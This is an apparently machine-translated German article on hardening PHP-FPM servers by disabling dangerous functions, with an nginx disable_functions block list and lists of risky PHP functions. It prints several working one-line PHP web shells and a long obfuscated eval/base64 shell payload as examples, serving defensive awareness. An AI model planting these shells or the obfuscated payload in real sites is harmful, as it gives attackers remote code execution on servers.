Modesco Holding - umfasst mehr als 300 Informationsseiten und 5 wichtige Internetdienste. Projekte werden regelmäßig gekauft und verkauft. Wie Sie verstehen, ist es in dieser Situation physikalisch unmöglich, qualitativ hochwertigen Code beizubehalten. Das Hauptaugenmerk der Programmierer liegt in der Regel auf den Diensten selbst. Hacks, Shell, Infektion von Websites mit anderen bösartigen Dingen ... All dies schadet Benutzern und Unternehmen erheblich. Um dies zu vermeiden, muss man oft nach eher ungewöhnlichen Wegen suchen, um Risiken zu reduzieren.

fastcgi_param PHP_VALUE open_basedir="/code/"; fastcgi_param PHP_ADMIN_VALUE disable_functions="exec,expect_popen,mail,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,shell_exec,system";
Dies bedeutet nicht, dass alle gefährlichen Funktionen dringend verboten werden müssen. Dies bedeutet nicht, dass Sie sich durch Deaktivieren definitiv vor allen PHP-Shells schützen. Die meisten dieser Funktionen können absolut sicher in Ihrer Anwendung, Ihrem Framework oder Ihren Bibliotheken verwendet werden. Jede Bewerbung sollte einzeln angegangen werden. Sicherheit ist der Prozess des Aufbaus einer Verteidigung in der Tiefe, und das Deaktivieren gefährlicher Funktionen ist in diesem Fall nur eine der möglichen Linien dieser Verteidigung.
Die Liste solcher Funktionen kann durchaus ein Assistent zum Auffinden verdächtiger Dateien sein. PHP-Shell kann sehr geschickt versteckt werden - ein hervorragendes Beispiel für Verschleierung ist der Artikel über habr
Dieser Artikel basiert auf einem Stackoverflow- Datensatz und unserer eigenen Erfahrung beim Parsen einer großen Anzahl von PHP-Shells .
Was soll man damit machen?
Es wäre schön, einige gefährliche Funktionen für PHP-fpm (oder etwas anderes) auszuschalten. Lassen Sie die Möglichkeit, sie nur über PHP-cli auszuführen. Das Auftreten anderer Funktionen sollte in Dateien überwacht werden. Die dritte sollte sorgfältiger behandelt werden und nicht zulassen, dass ungereinigte oder streng nicht validierte Zeilen in die Argumente gelangen.
Befehlsausführungsfunktionen
exec expect_popen passthru system shell_exec popen proc_open pcntl_exec
Diese Funktionen sollten zuerst deaktiviert werden. Wenn Sie sie in PHP-fpm benötigen, dann machen Sie etwas falsch. Mit diesen Funktionen können Sie die in open_basedir angegebene Umgebung verlassen. Es reicht nicht aus, nur einen Teil der Funktionen auszuschalten. Zum Beispiel zählt die beliebte WSO-Shell auf der Suche nach Möglichkeiten zur Codeausführung Funktionen auf.
function wsoEx($in) { $out = ''; if (function_exists('exec')) { } elseif (function_exists('passthru')) { } elseif (function_exists('system')) { } elseif (function_exists('shell_exec')) { } elseif (function_exists('pcntl_exec')) { } elseif (function_exists('expect_popen')) { } elseif (function_exists('proc_open')) { } elseif (is_resource($f = @popen($in,"r"))) { } return $out; }
Prozessmanagementfunktionen
pcntl_alarm pcntl_exec pcntl_fork pcntl_get_last_error pcntl_getpriority pcntl_setpriority pcntl_signal pcntl_signal_dispatch pcntl_sigprocmask pcntl_sigtimedwait pcntl_sigwaitinfo pcntl_strerror pcntl_wait pcntl_waitpid pcntl_wexitstatus pcntl_wifcontinued pcntl_wifexited pcntl_wifsignaled pcntl_wifstopped pcntl_wstopsig pcntl_wtermsig
Sie sollten auch ausgeschaltet sein. Beispielsweise befindet sich proc_open
im WSO. Ja und kein Platz für solche Funktionen in der Umgebung von PHP-fpm. Daemon sollte über PHP-cli gestartet werden.
phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid
Diese Funktionen geben Auskunft über Ihr System und können den Angriff auf andere Software erheblich erleichtern. Sie können auch zu einer Quelle für vertrauliche Datenlecks werden. Beispielsweise wird in Symfony empfohlen , Datenbankverbindungen in ENV zu speichern. Daher ist es ratsam, die Ausführung dieser Funktionen zu verbieten, mit Ausnahme der in Ihrer Anwendung verwendeten.
Funktionen zum Ausführen von PHP-Code
eval assert preg_replace create_function include include_once require require_once
Es lohnt sich, das Vorhandensein in heruntergeladenen Dateien zu überprüfen und die aktuellen Dateien regelmäßig zu überprüfen. Neben eval
gibt es noch andere Möglichkeiten, PHP-Code auszuführen. Sie können beispielsweise eine speziell gestaltete JPG-Datei einschließen. Die meisten Frameworks und Anwendungen verwenden diese Funktionen jedoch - Sie können sie nicht deaktivieren. Daher ist es wichtig, bei der Verwendung äußerst vorsichtig zu sein. Shell kann nur eine Zeile sein:
include("data:text/plain;base64,$_GET[code]");
Funktionen, die Rückruf verwenden
ob_start array_diff_uassoc array_diff_ukey array_filter array_intersect_uassoc array_intersect_ukey array_map array_reduce array_udiff_assoc array_udiff_uassoc array_udiff array_uintersect_assoc array_uintersect_uassoc array_uintersect array_walk_recursive array_walk assert_options uasort uksort usort preg_replace_callback spl_autoload_register iterator_apply call_user_func call_user_func_array register_shutdown_function register_tick_function set_error_handler set_exception_handler session_set_save_handler sqlite_create_aggregate sqlite_create_function
Diese Funktionen können verwendet werden, um andere Funktionen durch Übergeben eines Zeichenfolgenparameters aufzurufen. Es lohnt sich, sie sorgfältig anzuwenden und nicht zuzulassen, dass Rohdaten in die Argumente der Funktion gelangen. Schließlich können sie auch dazu dienen, die Schale zu maskieren. Ein Beispiel für die einfachste Shell, die diese Funktionen verwendet, sieht folgendermaßen aus:
print_r(call_user_func_array($_POST['functie'], array($_POST['argv'])));
Funktionen, die häufig bei der Verschleierung verwendet werden
eval assert str_rot13 base64_decode gzinflate gzuncompress preg_replace chr hexdec decbin bindec ord str_replace substr goto unserialize trim rtrim ltrim explode strchr strstr chunk_split strtok addcslashes runkit_function_rename rename_function call_user_func_array call_user_func register_tick_function register_shutdown_function
Diese Funktionen werden häufig verwendet, um bereits bekannte PHP-Shells vor Virenschutzmitteln und neugierigen Blicken zu maskieren. Überprüfen Sie heruntergeladene Dateien auf ihre Anwesenheit und überprüfen Sie regelmäßig die aktuellen Dateien. Ein Beispiel für das Verstecken einer Shell:
eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));
Dateisystemfunktionen
fopen tmpfile bzopen gzopen chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng imagewbmp image2wbmp imagejpeg imagexbm imagegif imagegd imagegd2 iptcembed ftp_get ftp_nb_get file_exists file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file highlight_file show_source php_strip_whitespace get_meta_tags
Diese Funktionen können zum Herunterladen von Dateien oder zum Offenlegen von Informationen über das System verwendet werden. Es lohnt sich, sie mit Vorsicht zu verwenden. Viele PHP-Shells können Dateien von Drittanbietern über FTP hochladen. Eine einfache PHP-Shell zum Laden einer beliebigen Datei sieht folgendermaßen aus:
copy($_GET['s'], $_GET['d']);
Andere
extract parse_str putenv ini_set mail header proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid
Bei diesen Funktionen ist ebenfalls Vorsicht geboten, und einige von ihnen sind am besten verboten. Beispielsweise kann mail
verwendet werden, um Spam an eine infizierte Site zu senden. Wenn Ihre Anwendung diese Funktionen nicht verwenden möchte, deaktivieren Sie sie. Die folgende Konstruktion ist nicht ängstlich, aber es ist eine der kleinsten PHP-Shells:
@extract($_REQUEST); @die ($ctime($atime));
Fazit
Das Deaktivieren unsicherer PHP-Funktionen ist eine Möglichkeit, das Risiko eines Ressourcenmangels zu verringern. Wenn Personen mit „spezifischem Wissen“ an Ihrem Projekt beteiligt sind, ist es wahrscheinlich, dass es fällt.
Dieser Schutz erwies sich auf Websites im CMS als besonders gut - sie sind in der Regel im automatischen Modus von böswilligen Netzwerken infiziert. Wenn der Scan-Bot den Befehl oder die überflutete PHP-Shell nicht ausführen kann, wird er höchstwahrscheinlich zur nächsten Site weitergeleitet.
Ich hoffe, dieser Artikel wird Anfänger dazu ermutigen, die vom Benutzer empfangenen Daten vorsichtiger zu filtern, abzuschirmen und zu validieren.
Der Artikel gibt kein einzigartiges Wissen vor - in der einen oder anderen Form ist dieses Material bereits in Runet angetroffen worden. Der Text ist ein verallgemeinertes und systematisiertes Material, das die Aufmerksamkeit auf das Problem lenken soll.
Vielleicht kann er jemanden motivieren, komplexes Material über Wordpress-Sicherheit oder ein anderes CMS zu schreiben.